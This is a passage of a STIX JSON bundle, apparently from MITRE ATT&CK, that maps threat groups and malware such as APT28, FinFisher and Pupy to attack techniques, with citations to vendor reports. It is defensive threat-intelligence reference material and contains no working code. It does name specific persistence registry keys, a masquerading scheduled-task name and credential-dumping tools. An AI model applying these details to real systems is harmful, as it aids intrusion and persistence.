            "modified": "2020-04-28T18:12:13.776Z",
            "created": "2019-01-31T00:36:41.034Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--1c01c64c-8842-44be-bd66-8355eb5d543c",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "(Citation: Cybereason Cobalt Kitty 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.980Z",
            "created": "2019-01-31T01:07:58.782Z"
        },
        {
            "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses DNS for C2.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T01:49:29.619Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8d5d9206-a213-465d-b384-6152eb2796a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses PowerShell to execute various commands, one to execute its payload.(Citation: FireEye POSHSPY April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-24T23:41:40.113Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--09869965-8dcd-4c20-a997-c075b6ed0434",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-24T17:52:48.036Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--307f4aac-212f-4c81-9764-d0acf7ca0e55",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "description": "[Thrip](https://attack.mitre.org/groups/G0076) used PsExec to move laterally between computers on the victim\u2019s network.(Citation: Symantec Thrip June 2018)",
            "type": "relationship",
            "modified": "2019-03-25T17:06:37.201Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key <code>HKCU\\Software\\Microsoft\\Office test\\Special\\Perf</code> to execute code.(Citation: Palo Alto Office Test Sofacy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "source_name": "Palo Alto Office Test Sofacy"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
            "type": "relationship",
            "modified": "2020-01-22T15:13:25.136Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to create a remote shell.(Citation: CrowdStrike Putter Panda)",
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                {
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                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
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            "type": "relationship",
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                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "source_name": "Dell Lateral Movement"
                },
                {
                    "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
                    "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.",
                    "source_name": "ThreatStream Evasion Analysis"
                }
            ],
            "description": "(Citation: Dell Lateral Movement)(Citation: ThreatStream Evasion Analysis)",
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            "modified": "2019-05-30T18:05:32.938Z",
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            "description": "[Comnie](https://attack.mitre.org/software/S0244) attempts to detect several anti-virus products.(Citation: Palo Alto Comnie)",
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                {
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                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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            "modified": "2019-03-22T19:57:37.437Z",
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            "description": "[FinFisher](https://attack.mitre.org/software/S0182) renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
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            ],
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                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
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        {
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            "description": "[Proton](https://attack.mitre.org/software/S0279) uses an encrypted file to store commands and configuration values.(Citation: objsee mac malware 2017)",
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            ],
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                {
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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                }
            ],
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            "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) establishes persistence through a Registry Run key.(Citation: FireEye APT10 April 2017)",
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                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
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            "relationship_type": "uses",
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            "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim host name and serial number, and then sends the information to the C2 server.(Citation: ClearSky Charming Kitten Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
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            "description": "[WinMM](https://attack.mitre.org/software/S0059) uses HTTP for C2.(Citation: Baumgartner Naikon 2015)",
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            ],
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                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
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            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under <code>HKCU\\Software\\Microsoft\\Office\\</code>.(Citation: Unit 42 Gorgon Group Aug 2018)",
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                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
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            ],
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            "type": "relationship",
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            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is capable of using Windows hook interfaces for information gathering such as credential access.(Citation: Microsoft PLATINUM April 2016)",
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                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "type": "relationship",
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            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses the <code>netstat</code> command to find open ports on the victim\u2019s machine.(Citation: Talos GravityRAT)",
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            ],
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                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-04-24T23:21:59.323Z",
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            "type": "relationship",
            "modified": "2020-02-04T13:03:03.607Z",
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            "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.(Citation: Kaspersky ProjectSauron Technical Analysis)",
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            ],
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                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) downloads and uploads files to and from the victim\u2019s machine.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
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                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
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            "type": "relationship",
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            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) may collect information about running processes.(Citation: FireEye APT30)",
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                {
                    "source_name": "FireEye APT30",
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                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
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            "type": "relationship",
            "modified": "2020-03-17T00:19:44.133Z",
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            "source_ref": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2021-04-09T14:56:26.707Z",
            "created": "2017-05-31T21:33:27.022Z"
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            "description": "[Naid](https://attack.mitre.org/software/S0205) collects the domain name from a compromised host.(Citation: Symantec Naid June 2012)",
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            ],
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                {
                    "source_name": "Symantec Naid June 2012",
                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"
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            "created": "2018-04-18T17:59:24.739Z",
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            "relationship_type": "uses",
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            "id": "relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a",
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            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate drives and Remote Desktop sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.359Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) uses a backup communication method with an HTTP beacon.(Citation: Fidelis Turbo)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.632Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--487d67d7-b697-4de4-abde-decee8b17c44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.(Citation: Palo Alto T9000 Feb 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.850Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FakeM](https://attack.mitre.org/software/S0076) contains a keylogger module.(Citation: Scarlet Mimic Jan 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:47:22.286Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f14c6ecd-4997-44aa-9d29-232195fd4a82",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) can identify system information, including battery status.(Citation: FireEye APT37 Feb 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T21:24:11.239Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--58487b4a-9741-45b1-accc-171eb124330d",
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            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a custom DNS tunneling protocol for C2.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.453Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "id": "relationship--13204383-a747-4f7f-a75c-858ddc76beab",
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            "description": "[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to collect information on process creation.(Citation: Baumgartner Naikon 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-05-03T16:45:45.292Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.(Citation: TrendMicro Hacking Team UEFI)",
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                {
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                    "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"
                }
            ],
            "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2019-12-20T13:42:28.087Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0dba319b-0d1e-4c73-8153-9ce13d27c98c",
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            "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.632Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "id": "relationship--d2560c35-b2f6-47d2-b573-236ef99894d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:36:32.534Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
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            "id": "relationship--5a771636-9b4d-423c-b7ba-1f274cbfb5b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used rundll32 for execution.(Citation: Arbor Musical Chairs Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/",
                    "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.",
                    "source_name": "Arbor Musical Chairs Feb 2018"
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-04-16T20:26:40.979Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If an initial connectivity check fails, [pngdowner](https://attack.mitre.org/software/S0067) attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2020-03-17T02:11:01.387Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has been known to dump credentials using Mimikatz and Windows Credential Editor.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.708Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--1984ba26-2309-49db-8c42-75951d0ef678",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
